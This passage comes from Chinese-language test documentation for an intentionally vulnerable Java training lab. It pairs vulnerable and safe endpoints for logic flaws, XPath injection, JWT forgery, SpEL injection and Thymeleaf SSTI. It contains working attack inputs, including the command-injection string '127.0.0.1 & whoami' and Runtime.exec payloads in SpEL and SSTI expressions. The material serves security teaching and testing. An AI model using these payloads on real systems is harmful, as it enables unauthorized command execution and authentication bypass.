覆盖共享资源并发读写导致的重复扣款和状态竞争 | + +### 越权漏洞测试 + +页面:`/logic/idor/horizontal`、`/logic/idor/vertical` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 水平越权页面 | `GET /logic/idor/horizontal` | 已登录会话 | 页面正常打开,展示水平越权漏洞和 Session 校验安全场景 | +| 水平越权漏洞 | `GET /logic/idor/horizontal/getUserInfo?username=123` | 任意存在用户 | 返回指定用户信息,说明只信任请求参数 | +| 水平越权安全拦截 | `GET /logic/idor/horizontal/safe?username=admin` | 与当前登录用户不同 | 返回“您没有权限查看该用户的资料” | +| 水平越权安全放行 | `GET /logic/idor/horizontal/safe?username=<当前登录用户>` | 当前登录用户 | 返回当前用户信息 | +| 垂直越权页面 | `GET /logic/idor/vertical` | 已登录会话 | 页面正常打开,展示垂直越权场景 | +| 垂直越权漏洞 | `GET /logic/idor/vertical/vul` | 普通登录用户 | 可访问管理员页面,说明缺少服务端角色校验 | +| 垂直越权安全校验 | `GET /logic/idor/vertical/safe` | 普通登录用户 | 返回无管理员权限;管理员用户返回校验通过 | + +### 图形验证码测试 + +页面:`/logic/captcha/graphic` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /logic/captcha/graphic` | 已登录会话 | 页面正常打开,展示验证码失效、万能验证码、可识别和安全场景 | +| 获取漏洞验证码 | `GET /logic/captcha/graphic/img` | 同一会话 | 返回图片验证码,并在 Session 中保存 4 位验证码 | +| 验证码复用 | `POST /logic/captcha/graphic/vul1` | 正确验证码重复提交 | 5分钟内验证码不会在成功后清除,可被重复使用 | +| 万能验证码 | `POST /logic/captcha/graphic/vul2` | `username=admin&password=admin123&captcha=6666` | 无需真实图片验证码即可通过 | +| 弱验证码识别 | `POST /logic/captcha/graphic/vul3` | OCR或人工识别出的4位验证码 | 正确验证码可通过,说明弱验证码容易被识别或爆破 | +| 获取安全验证码 | `GET /logic/captcha/graphic/safeImg` | 同一会话 | 返回 6 位验证码,并设置较短有效期 | +| 安全验证码错误 | `POST /logic/captcha/graphic/safe` | 错误验证码 | 返回“验证码错误,请重新输入!”,并清除验证码 | + +### 短信验证码测试 + +页面:`/logic/captcha/sms` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /logic/captcha/sms` | 已登录会话 | 页面正常打开,展示验证码回显和验证码绕过场景 | +| 手机号格式校验 | `GET /logic/captcha/sms/code?phone=abc` | 非法手机号 | 返回“手机号格式不正确!” | +| 验证码回显 | `GET /logic/captcha/sms/code?phone=18888888888` | 合法手机号 | 响应中直接包含短信验证码 | +| 回显验证码验证 | `POST /logic/captcha/sms/vul1` | 使用响应中的验证码 | 返回验证通过 | +| 验证码绕过准备 | `GET /logic/captcha/sms/code2?phone=18888888888` | 合法手机号 | 响应不回显验证码,但 Session 中保存验证码 | +| 参数绕过 | `POST /logic/captcha/sms/vul2?phone=18888888888&code=000000&code_verify=true` | 任意错误验证码 | 返回验证通过,说明信任客户端控制参数 | + +### 支付逻辑测试 + +页面:`/logic/pay` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /logic/pay` | 已登录会话 | 页面正常打开,展示6类支付逻辑漏洞和余额重置按钮 | +| 重置余额 | `POST /logic/pay/resetBalance` | 无 | 返回余额已重置为1000元 | +| 金额参数篡改 | `POST /logic/pay/vul1` | `count=1&price=0.01` | 使用客户端价格支付成功,说明未校验服务端真实价格 | +| 订单重放 | `POST /logic/pay/vul2` | 同一 `orderId` 重复支付 | 每次请求都会扣款,说明缺少幂等和支付状态校验 | +| 并发竞态 | 并发 `POST /logic/pay/vul3` | 相同 `orderId` 和金额并发请求 | 可能出现重复扣款或余额计算不一致 | +| 创建订单 | `POST /logic/pay/vul4/create` | `orderId=bypass123&amount=200` | 返回订单创建成功,状态未支付 | +| 流程绕过 | `POST /logic/pay/vul4/notify` | `orderId=bypass123&success=true` | 未真实支付即可把订单改为已支付 | +| 整数溢出 | `POST /logic/pay/vul5` | `count=2147483647&price=10` | `int` 乘法溢出,可能产生负金额并导致余额异常 | +| 浮点精度 | `POST /logic/pay/vul6` | `count=0.1&price=0.2` | 返回实际扣款金额中可见二进制浮点误差 | + +### 并发安全测试 + +页面:`/logic/concurrent` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /logic/concurrent` | 已登录会话 | 页面正常打开,展示竞态条件漏洞和同步锁/幂等安全场景 | +| 重置测试数据 | `POST /logic/concurrent/reset` | 无 | 返回余额重置为1000元,订单状态清空 | +| 竞态条件重复支付 | 并发 `POST /logic/concurrent/vul` | `orderId=race123&amount=100` | 多个相同订单请求可能同时成功,出现重复扣款或余额结果不一致 | +| 安全幂等校验 | 并发 `POST /logic/concurrent/safe` | `orderId=safeRace123&amount=100` | 首个请求扣款成功,后续相同订单返回“订单已支付,拒绝重复扣款” | + +## 其他漏洞 + +当前覆盖 URL 重定向、XFF 伪造、DoS 资源消耗和 XPath 注入四类容易散落在业务边缘的漏洞。该模块适合作为综合靶场的补充模块:不再围绕单一技术栈展开,而是展示真实项目中常被低估的输入信任、跳转控制、代理头信任、资源上限和表达式拼接问题。 + +这几类漏洞的修复核心分别是:URL 跳转必须使用服务端映射或严格白名单,不允许任意外部 URL 直接进入 `Location`;XFF 只能在请求来自可信代理时解析,不能直接信任客户端头;DoS 类功能要设置尺寸、大小、数量、深度、超时和并发上限;XPath 查询应使用变量绑定或业务层精确匹配,不能拼接表达式。 + +已覆盖类型 + +| 分类 | 已有场景 | 结论 | +| --- | --- | --- | +| URL 重定向 | Spring MVC、ModelAndView、Servlet、ResponseEntity、响应头重定向 | 覆盖 Java Web 常见跳转 Sink 和白名单修复思路 | +| XFF 伪造 | 直接信任 `X-Forwarded-For` 作为客户端 IP | 覆盖基于伪造请求头绕过 IP 控制和日志污染 | +| DoS 资源消耗 | 图片宽高参数可控、ZIP 递归解压 | 覆盖高成本图片生成和压缩包资源放大 | +| XPath 注入 | 用户名密码拼接进 XPath 表达式 | 覆盖 XML 查询场景中的认证绕过 | + +### URL 重定向测试 + +页面:`/other/URLRedirect/vul`、`/other/URLRedirect/safe` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 漏洞页面 | `GET /other/URLRedirect/vul` | 已登录会话 | 页面正常打开,展示 6 种重定向写法 | +| Spring redirect | `GET /other/URLRedirect/vul1?url=http://example.com` | 外部 URL | 返回 302,`Location` 指向外部 URL | +| ModelAndView redirect | `GET /other/URLRedirect/vul2?url=http://example.com` | 外部 URL | 返回 302,`Location` 指向外部 URL | +| Servlet setHeader | `GET /other/URLRedirect/vul3?url=http://example.com` | 外部 URL | 返回 301,`Location` 指向外部 URL | +| Servlet sendRedirect | `GET /other/URLRedirect/vul4?url=http://example.com` | 外部 URL | 返回 302,`Location` 指向外部 URL | +| ResponseEntity redirect | `GET /other/URLRedirect/vul5?url=http://example.com` | 外部 URL | 返回 302,`Location` 指向外部 URL | +| ResponseStatus redirect | `GET /other/URLRedirect/vul6?url=http://example.com` | 外部 URL | 返回 302,`Location` 指向外部 URL | +| 安全页面 | `GET /other/URLRedirect/safe` | 已登录会话 | 页面正常打开,展示内部转发和白名单校验 | +| 白名单拦截 | `GET /other/URLRedirect/safe2?url=http://example.com` | 非白名单 URL | 返回 403 和 `Forbidden: url not in WhiteUrlList!` | +| 白名单放行 | `GET /other/URLRedirect/safe2?url=https://blog.csdn.net/weixin_53009585` | 白名单域名 | 返回 302,允许跳转 | + +### XFF 伪造测试 + +页面:`/other/xff` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /other/xff` | 已登录会话 | 页面正常打开,展示 XFF 漏洞和可信代理安全场景 | +| 原始 IP 访问 | `GET /other/xff/vul1` | 无 XFF 头 | 返回页面展示真实连接来源,不泄露仅限 8.8.8.8 的敏感信息 | +| XFF 伪造漏洞 | `GET /other/xff/vul2?xff=true` | Header `X-Forwarded-For: 8.8.8.8` | 返回敏感信息,说明直接信任客户端头 | +| 不启用 XFF | `GET /other/xff/vul2?xff=false` | Header `X-Forwarded-For: 8.8.8.8` | 使用真实连接来源,不返回敏感信息 | +| 安全拦截 | `GET /other/xff/safe?xff=true` | 本地直连并伪造 XFF | 返回“非可信代理来源,忽略XFF头”,不泄露敏感信息 | + +### DoS 测试 + +页面:`/other/dos` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /other/dos` | 已登录会话 | 页面正常打开,展示图片资源消耗、图片尺寸限制和 ZIP 解压场景 | +| 图片参数可控 | `GET /other/dos/vul?width=1200&height=1200` | 较大宽高 | 返回图片,说明服务端按用户输入分配资源 | +| 图片尺寸拦截 | `GET /other/dos/safe?width=1200&height=1200` | 超过上限宽高 | 返回 400 和“图片尺寸超出限制” | +| 图片正常生成 | `GET /other/dos/safe?width=300&height=120` | 合理宽高 | 返回 JPEG 图片 | +| ZIP 上传空文件 | `POST /other/dos/vul2` | 不传文件 | 返回“请先选择ZIP文件” | +| ZIP 解压资源消耗 | `POST /other/dos/vul2` | ZIP 文件 | 服务端尝试解压,递归 ZIP 或大量文件可造成资源压力 | + +### XPath 注入测试 + +页面:`/other/xpath` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /other/xpath` | 已登录会话 | 页面正常打开,展示 XPath 注入和变量绑定安全场景 | +| 正常认证 | `GET /other/xpath/vul?username=admin&password=password` | 正确账号密码 | 返回认证通过 | +| 万能条件绕过 | `GET /other/xpath/vul?username=admin&password=' or '1'='1` | XPath 注入 Payload | 返回认证通过,说明表达式被拼接篡改 | +| 安全拦截 | `POST /other/xpath/safe` | `username=admin&password=' or '1'='1` | 返回认证失败 | +| 安全正常认证 | `POST /other/xpath/safe` | `username=admin&password=password` | 返回认证通过 | + +## 敏感信息泄漏 + +当前覆盖 JS 前端泄漏、目录遍历、测试页面遗留和备份文件泄漏四类场景。该模块的重点不是单个危险 API,而是“本不该暴露给用户的内容被放在了可访问位置”:前端代码、构建产物、目录列表、测试工具、源码包、日志和临时文件都可能成为攻击入口。 + +敏感信息泄漏的修复核心是最小暴露面和发布前检查:密钥、认证逻辑、内部接口和敏感配置不能进入前端;静态目录不放备份、日志和测试文件;目录列表和测试页面默认关闭;必须保留的诊断入口应做强鉴权、白名单、审计、超时和输入限制;已泄漏的密钥、Token、Cookie 和密码应立即轮换。 + +已覆盖类型 + +| 分类 | 已有场景 | 结论 | +| --- | --- | --- | +| JS 泄漏 | 前端硬编码账号密码、Webpack 打包泄漏云密钥 | 覆盖前端源码和构建产物中的常见敏感信息泄漏 | +| 目录遍历 | 目录列表可控、黑名单过滤、根目录限制 | 覆盖目录浏览功能导致的文件名、路径和资源发现风险 | +| 测试页面 | 遗留 Ping 页面、命令拼接、安全 Ping 对照 | 覆盖测试入口暴露和输入处理不当导致的高风险链路 | +| 备份文件 | Web 源码压缩包、日志文件 | 覆盖源码、配置、SQL、Session 和调试日志泄漏 | + +### JS 泄漏测试 + +页面:`/infoLeak/js` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /infoLeak/js` | 已登录会话 | 页面正常打开,展示前端硬编码和 Webpack 泄漏场景 | +| 前端硬编码页面 | `GET /infoLeak/js/hard-coding` | 无 | 返回登录页面,页面源码中可见硬编码账号密码 | +| 前端硬编码登录 | 浏览器提交 `/infoLeak/js/hard-coding` | `superadmin` / `Admin@1024.com` | 跳转到 `/infoLeak/js/loginSuccess` | +| Webpack 泄漏 JS | `GET /other/infoleak/chunk-0226s3f2.57e3ed6f.js` | 无 | 返回 JS 文件,内容包含 `SecretId`、`SecretKey`、Bucket 等敏感配置 | + +### 目录遍历测试 + +页面:`/infoLeak/dirTraversal` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /infoLeak/dirTraversal` | 已登录会话 | 页面正常打开,展示目录遍历漏洞和两种安全写法 | +| 目录列表漏洞 | `GET /infoLeak/dirTraversal/vul?dir=/` | 根目录参数 | 返回静态目录列表 | +| 目录穿越尝试 | `GET /infoLeak/dirTraversal/vul?dir=../` | `../` | 可能列出静态目录之外的上级目录内容 | +| 黑名单拦截 | `GET /infoLeak/dirTraversal/safe1?dir=../` | `../` | 返回“非法字符!” | +| 根目录限制 | `GET /infoLeak/dirTraversal/safe2?dir=../` | `../` | 返回 `Directory not found or access denied.` | +| 安全目录访问 | `GET /infoLeak/dirTraversal/safe2?dir=/` | 根目录参数 | 只返回允许根目录内的文件列表 | + +### 测试页面测试 + +页面:`/infoLeak/ceShiPage` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /infoLeak/ceShiPage` | 已登录会话 | 页面正常打开,展示遗留 Ping 测试入口 | +| Ping 页面 | `GET /infoLeak/ceShiPage/pingPage` | 无 | 页面正常打开,展示漏洞 Ping 和安全 Ping 表单 | +| 命令拼接漏洞 | `GET /infoLeak/ceShiPage/ping?ip=127.0.0.1%20%26%20whoami` | `127.0.0.1 & whoami` | 返回 ping 输出并可能追加当前进程用户,说明 shell 元字符生效 | +| 安全 Ping 拦截 | `GET /infoLeak/ceShiPage/safePing?ip=127.0.0.1%20%26%20whoami` | 含 `&` 的输入 | 返回“非法目标地址” | +| 安全 Ping 正常 | `GET /infoLeak/ceShiPage/safePing?ip=127.0.0.1` | 合法地址 | 返回 ping 输出或系统 ping 执行结果 | + +### 备份文件测试 + +页面:`/infoLeak/backUp` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /infoLeak/backUp` | 已登录会话 | 页面正常打开,展示源码备份和日志泄漏场景 | +| 源码备份下载 | `GET /other/infoleak/www.zip` | 无 | 返回可下载压缩包,说明源码备份文件暴露在 Web 目录 | +| 日志文件访问 | `GET /other/infoleak/JavaSecLab_logs.txt` | 无 | 返回日志内容,包含 SQL、账号、SessionId、验证码等敏感信息 | + +## 登录对抗 + +当前覆盖账号安全、登录绕过、JS逆向和凭证安全四条主线:账号安全包含用户名枚举和弱口令;登录绕过包含修改响应包绕过和密码重置步骤绕过;JS逆向包含客户端签名复现和前端RSA加密绕过;凭证安全包含JWT声明伪造。 + +登录对抗类问题的本质是认证流程把关键信任放在了错误的位置:错误提示暴露账号状态、口令强度不足、客户端响应或步骤状态被服务端信任、前端算法和密钥可被逆向、令牌声明被过度信任。修复时应统一认证失败提示,实施强密码和限速策略,所有认证状态、流程状态、权限判断都在服务端完成,并配合MFA、风控、审计、短有效期令牌和密钥轮换。 + +已覆盖类型 + +| 分类 | 已有场景 | 结论 | +| --- | --- | --- | +| 账号安全 | 用户名枚举、弱口令 | 覆盖认证入口最常见的信息泄露和低强度口令风险 | +| 登录绕过 | 修改响应包绕过、密码重置步骤绕过 | 覆盖客户端状态可信和多步骤流程缺少服务端前置校验的问题 | +| JS逆向 | sign请求签名绕过、RSA前端加密绕过 | 覆盖前端算法、固定密钥、公钥加密不能作为安全边界的典型误区 | +| 凭证安全 | JWT声明伪造 | 覆盖静态密钥和过度信任令牌role声明导致的权限冒用风险 | + +### 账号安全测试 + +页面:`/loginconfront/account` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /loginconfront/account` | 已登录会话 | 页面正常打开,展示用户名枚举和弱口令场景 | +| 用户名不存在 | `POST /loginconfront/account/vul1` | `username=qwer&password=x` | 返回“用户不存在!”,可据此判断账号不存在 | +| 用户名存在但密码错误 | `POST /loginconfront/account/vul1` | `username=admin&password=wrong` | 返回“密码错误,请重试!”,可据此判断账号存在 | +| 用户名枚举登录成功 | `POST /loginconfront/account/vul1` | `username=admin&password=admin123` | 返回登录成功 | +| 弱口令命中 | `POST /loginconfront/account/vul2` | `username=admin&password=admin` | 返回登录成功,说明默认/弱口令可直接突破认证 | +| 弱口令失败提示 | `POST /loginconfront/account/vul2` | `username=admin&password=wrong` | 返回统一的“账号或密码错误!” | + +### 登录绕过测试 + +页面:`/loginconfront/bypass`、`/loginconfront/bypass/reset` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /loginconfront/bypass` | 已登录会话 | 页面正常打开,展示修改响应包绕过和密码重置步骤绕过场景 | +| 第一阶段校验失败 | `POST /loginconfront/bypass/vul1step1` | `username=admin&password=wrong` | 返回“账号校验失败,请重试!” | +| 第一阶段校验成功 | `POST /loginconfront/bypass/vul1step1` | `username=admin&password=admin123` | 返回“账号校验通过,请稍等!” | +| 修改响应包绕过点 | `POST /loginconfront/bypass/vul1step2` | `code=0` | 返回“登录成功,欢迎!”,说明第二步只信任客户端传来的成功状态 | +| 密码重置页面 | `GET /loginconfront/bypass/reset` | 已登录会话 | 页面正常打开,展示三步密码重置流程 | +| 用户名步骤 | `POST /loginconfront/bypass/step1` | `username=admin` | 返回“用户名验证成功!” | +| 旧密码错误 | `POST /loginconfront/bypass/step2` | `oldPassword=bad` | 返回“旧密码错误!” | +| 正常旧密码校验 | `POST /loginconfront/bypass/step2` | `oldPassword=!@#qwf@3123` | 返回“密码验证成功!” | +| 跳过前置步骤重置 | `POST /loginconfront/bypass/step3` | `newPassword=newpass123` | 即使未完成旧密码校验也返回“密码重置成功!”,说明后端缺少步骤状态强校验 | + +### JS逆向测试 + +页面:`/loginconfront/reverse` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /loginconfront/reverse` | 已登录会话 | 页面正常打开,展示sign请求签名绕过和RSA前端加密绕过场景 | +| sign缺失/错误 | `POST /loginconfront/reverse/vul1` | 错误 `sign` | 返回“签名验证失败” | +| sign复现成功 | `POST /loginconfront/reverse/vul1` | 使用前端固定密钥和参数拼接规则生成MD5签名 | 返回“登录成功!用户名:admin,密码:admin123” | +| sign与参数不匹配 | `POST /loginconfront/reverse/vul1` | 修改密码但复用旧签名 | 返回“签名验证失败” | +| RSA密文错误 | `POST /loginconfront/reverse/vul2` | 非法密文或错误字段 | 返回“解密失败!” | +| RSA前端加密复现 | `POST /loginconfront/reverse/vul2` | 使用页面公钥加密 `admin/admin123` | 返回登录成功,说明公钥加密不能证明请求来自可信前端 | + +### 凭证安全测试 + +页面:`/loginconfront/credential` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /loginconfront/credential` | 已登录会话 | 页面正常打开,展示JWT声明伪造场景 | +| 生成JWT | `GET /loginconfront/credential/generate-jwt?username=admin&role=admin` | 任意用户名和角色声明 | 返回签名后的JWT | +| 缺少JWT | `GET /loginconfront/credential/vul1` | 不带 `Auth_Token` Header | 返回“缺少Auth_Token请求头” | +| 非法JWT | `GET /loginconfront/credential/vul1` | Header `Auth_Token: bad.jwt.token` | 返回JWT解析失败 | +| JWT解析成功 | `GET /loginconfront/credential/vul1` | Header携带生成的JWT | 返回 `user:admin,role:admin`,说明服务端信任令牌中的权限声明 | + +# Java 专题 + +## SpringBoot 框架相关漏洞 + +当前覆盖 Swagger/OpenAPI 文档暴露、Spring Boot Actuator 敏感端点暴露、Druid 监控台暴露、MySQL JDBC 反序列化四类 Spring Boot 生态常见风险。模块重点不是 Spring Boot 框架自身漏洞,而是框架生态中“开发/运维辅助能力被带到生产环境”后的暴露面。 + +Spring Boot 相关漏洞的本质通常是配置边界和运行时暴露面管理不当:接口文档、管理端点、监控台、数据源连接和驱动参数本应用于开发、运维或内部系统,却被公网或普通用户访问。修复时应遵循生产环境最小暴露原则,关闭不必要组件,对管理入口加鉴权和内网限制,敏感端点脱敏,禁止用户控制 JDBC URL,并避免 Java 原生反序列化不可信数据。 + +已覆盖类型 + +| 分类 | 已有场景 | 结论 | +| --- | --- | --- | +| Swagger/OpenAPI | `/v3/api-docs`、Swagger UI | 覆盖接口文档未鉴权导致接口、参数和模型信息泄漏 | +| Actuator | `/sys/actuator`、`/sys/actuator/health` | 覆盖管理端点暴露和健康详情泄漏 | +| Druid 监控台 | `/druid/index.html` | 覆盖连接池监控台暴露导致 SQL、URI、Session、数据源信息泄漏 | +| MySQL JDBC 反序列化 | `/springboot/vul`、`/springboot/insert`、`/springboot/jdbc` | 覆盖不可信 JDBC URL 和从数据库读取字节流后原生反序列化的风险链路 | + +### SpringBoot 页面与资源测试 + +页面:`/springboot` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /springboot` | 已登录会话 | 页面正常打开,展示 Swagger、Actuator、Druid、MySQL JDBC 四类场景 | +| Swagger 流量包 | `GET /other/datapackage/springboot/swagger_ui.pcapng` | 无 | 返回可下载流量包 | +| Actuator 流量包 | `GET /other/datapackage/springboot/actuator.pcapng` | 无 | 返回可下载流量包 | +| Druid 流量包 | `GET /other/datapackage/springboot/druid.pcapng` | 无 | 返回可下载流量包 | +| MySQL JDBC 流量包 | `GET /other/datapackage/springboot/mysql_jdbc.pcapng` | 无 | 返回可下载流量包 | + +### Swagger/OpenAPI 暴露测试 + +页面:`/springboot` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| OpenAPI JSON | `GET /v3/api-docs` | 已登录会话 | 返回 OpenAPI 文档,内容包含 `openapi`、`paths` 等接口描述 | +| Swagger UI | `GET /swagger-ui/index.html` | 已登录会话 | Swagger UI 页面可访问 | +| 风险确认 | 查看 `/v3/api-docs` 内容 | 无 | 可看到后端接口路径、参数、模型信息,说明接口文档未做生产隔离 | + +### Actuator 端点暴露测试 + +页面:`/springboot` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| Actuator 根端点 | `GET /sys/actuator` | 已登录会话 | 返回 `_links`,列出可访问管理端点 | +| 健康详情 | `GET /sys/actuator/health` | 已登录会话 | 返回 `status` 和组件详情 | +| 映射端点 | `GET /sys/actuator/mappings` | 已登录会话 | 返回应用请求映射信息,说明路由信息可枚举 | + +### Druid 监控台暴露测试 + +页面:`/springboot` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| Druid 首页 | `GET /druid/index.html` | 无需登录或已登录会话 | 返回 Druid 监控页面 | +| Druid 数据源信息 | `GET /druid/datasource.json` | 无需登录或已登录会话 | 返回数据源监控 JSON | +| Druid URI 统计 | `GET /druid/weburi.json` | 无需登录或已登录会话 | 返回 Web URI 访问统计 | + +### MySQL JDBC 反序列化测试 + +页面:`/springboot` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| JDBC URL 缺失 | `GET /springboot/vul` | 不传 `url` | 返回“JDBC URL不能为空” | +| Fake MySQL 连接尝试 | `GET /springboot/vul?url=jdbc:mysql://127.0.0.1:1/test&username=root&password=x` | 不可用 MySQL 地址 | 返回 JDBC 连接失败,说明服务端会使用用户传入的 JDBC URL 发起连接 | +| 插入测试对象 | `GET /springboot/insert?command=true` | 安全测试命令 `true` | 返回“恶意对象插入成功!” | +| 触发本地反序列化链路 | `GET /springboot/jdbc` | 依赖上一步写入对象 | 返回“触发MYSQL-JDBC反序列化漏洞!” | + +## SPEL 表达式注入 + +当前覆盖原生 SpEL 表达式执行和 `SimpleEvaluationContext` 安全上下文限制两类场景。模块重点演示不可信输入直接进入 `SpelExpressionParser.parseExpression()` 并通过 `Expression.getValue()` 执行时,表达式从动态计算能力升级为类型引用、静态方法调用和命令执行能力的过程。 + +SpEL 注入的本质是不可信输入进入表达式“可执行上下文”后改变了原本的业务计算语义。`StandardEvaluationContext` 能力较完整,适合可信内部表达式,不适合直接执行用户输入;修复时应避免解析不可信表达式,确需表达式能力时使用 `SimpleEvaluationContext`、固定模板、白名单表达式、参数绑定和最小权限上下文,并禁止 Java 类型引用、构造函数、Bean 引用和任意方法调用。 + +已覆盖类型 + +| 分类 | 已有场景 | 结论 | +| --- | --- | --- | +| 表达式探测 | `100-1` | 覆盖基础表达式执行能力,可用于识别表达式是否被解析 | +| 类型引用 | `T(java.lang.Math).abs(-1)` | 覆盖 `T()` 类型引用和静态方法调用能力 | +| 命令执行 | `T(java.lang.Runtime).getRuntime().exec('true')` | 覆盖高危方法调用到系统命令执行链路 | +| 安全上下文 | `/spel/safe` 使用 `SimpleEvaluationContext` | 覆盖安全上下文对类型引用、构造函数、Bean 引用等能力的限制 | + +### SPEL 漏洞场景测试 + +页面:`/spel` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /spel` | 已登录会话 | 页面正常打开,展示原生漏洞场景和 `SimpleEvaluationContext` 安全场景 | +| 算术表达式探测 | `GET /spel/vul?ex=100-1` | `100-1` | 返回 `99`,说明输入被作为 SpEL 表达式解析执行 | +| 类型引用探测 | `GET /spel/vul?ex=T(java.lang.Math).abs(-1)` | Java 类型引用 | 返回 `1`,说明 `StandardEvaluationContext` 允许类型引用和静态方法调用 | +| 命令执行链路 | `GET /spel/vul?ex=T(java.lang.Runtime).getRuntime().exec('true')` | 安全测试命令 `true` | 返回 `Process` 相关对象字符串或执行结果对象,说明可触达命令执行 Sink | +| 非法表达式 | `GET /spel/vul?ex=T(java.lang.Runtime).getRuntime().exec(` | 语法错误表达式 | 返回 “SPEL表达式执行失败” | +| 流量包下载 | `GET /other/datapackage/spel/spel.pcapng` | 无 | 返回可下载流量包 | + +### SPEL 安全场景测试 + +页面:`/spel` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 安全算术表达式 | `GET /spel/safe?ex=100-1` | `100-1` | 返回 `99`,说明低风险表达式仍可计算 | +| 阻断类型引用 | `GET /spel/safe?ex=T(java.lang.Math).abs(-1)` | Java 类型引用 | 返回“表达式被安全上下文限制”,说明类型引用被禁止 | +| 阻断命令执行 | `GET /spel/safe?ex=T(java.lang.Runtime).getRuntime().exec('true')` | 命令执行表达式 | 返回“表达式被安全上下文限制”,不执行系统命令 | +| 安全场景错误处理 | `GET /spel/safe?ex=T(java.lang.Runtime).getRuntime().exec(` | 语法错误表达式 | 返回“表达式被安全上下文限制”或解析错误信息 | + +## SSTI 模板注入 + +当前覆盖 Thymeleaf 视图名注入两类典型触发方式:Controller 返回值可控、URL 路径参数拼接进视图名。模块重点演示不可信输入进入服务端模板解析上下文后,`__${...}__` 预处理表达式会先被 Thymeleaf 计算,再进入模板名或 fragment 解析流程。 + +SSTI 的本质是不可信输入进入模板“可执行上下文”。在 Java Web 中风险入口不只包括页面内容,还包括视图名、fragment 表达式、邮件模板、报表模板、动态模板内容和多模板引擎配置。修复时应避免用户控制模板名、模板路径、fragment 或模板内容;动态选择模板时使用固定枚举/白名单映射;返回普通字符串时使用 `@ResponseBody`、`ResponseEntity` 或显式写入 `HttpServletResponse`,避免进入视图解析;变量输出优先使用自动转义能力,谨慎使用 `th:utext`。 + +已覆盖类型 + +| 分类 | 已有场景 | 结论 | +| --- | --- | --- | +| 返回视图名可控 | `/ssti/vul1?para=...` | 覆盖 Controller 直接把用户输入拼接进视图名,Thymeleaf 预处理表达式被执行 | +| URL 路径拼接视图名 | `/ssti/vul2/{path}` | 覆盖路径变量被拼接进视图名后触发 Thymeleaf 预处理表达式 | +| 白名单模板选择 | `/ssti/safe1?para=...` | 覆盖只允许固定模板名,拒绝表达式进入模板路径 | +| 跳过视图解析 | `/ssti/safe2/{path}` | 覆盖显式写入响应体后不再触发 Thymeleaf 视图解析 | +| 内容输出边界 | `/ssti/vul3?para=...` | 当前仅通过 `th:utext` 输出字符串,不会把输入当模板表达式执行,应归类为 HTML 输出/XSS 边界而非 SSTI 主场景 | + +### SSTI 漏洞场景测试 + +页面:`/ssti` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /ssti` | 已登录会话 | 页面正常打开,展示 return 可控、URL 可控和安全对照场景 | +| return 可控算术探测 | `GET /ssti/vul1?para=__${7*7}__::.x` | Thymeleaf 预处理表达式 | 返回 500,错误信息中的模板名包含 `vul/ssti/49`,说明表达式已执行 | +| return 可控命令链路 | `GET /ssti/vul1?para=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).next()}__::.x` | 安全测试命令 `id` | 返回 500,错误信息中的模板名被替换为命令输出片段,说明可触达命令执行 Sink | +| URL 可控算术探测 | `GET /ssti/vul2/__${7*7}__::.x` | Thymeleaf 预处理表达式 | 返回 500,错误信息中的模板名包含 `vul/ssti/49`,说明表达式已执行 | +| 内容输出边界 | `GET /ssti/vul3?para=__${7*7}__::.x` | 模板表达式字符串 | 页面原样输出 `__${7*7}__::.x`,不执行表达式 | +| return 流量包下载 | `GET /other/datapackage/ssti/ssti_return.pcapng` | 无 | 返回可下载流量包 | +| URL 流量包下载 | `GET /other/datapackage/ssti/ssti_url.pcapng` | 无 | 返回可下载流量包 | + +### SSTI 安全场景测试 + +页面:`/ssti` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 白名单允许模板 | `GET /ssti/safe1?para=ssti` | 白名单模板名 | 返回 SSTI 模块页面 | +| 白名单拒绝表达式 | `GET /ssti/safe1?para=__${7*7}__::.x` | Thymeleaf 预处理表达式 | 返回 401 页面,表达式不进入视图名 | +| 跳过视图解析 | `GET /ssti/safe2/__${7*7}__::.x` | Thymeleaf 预处理表达式 | 返回纯文本“已跳过视图解析...”,不触发 Thymeleaf 解析 | + +## 反序列化 + +当前覆盖 Java 原生 `ObjectInputStream.readObject()`、SnakeYAML `Yaml.load()`、XMLDecoder `readObject()` 三类 Java 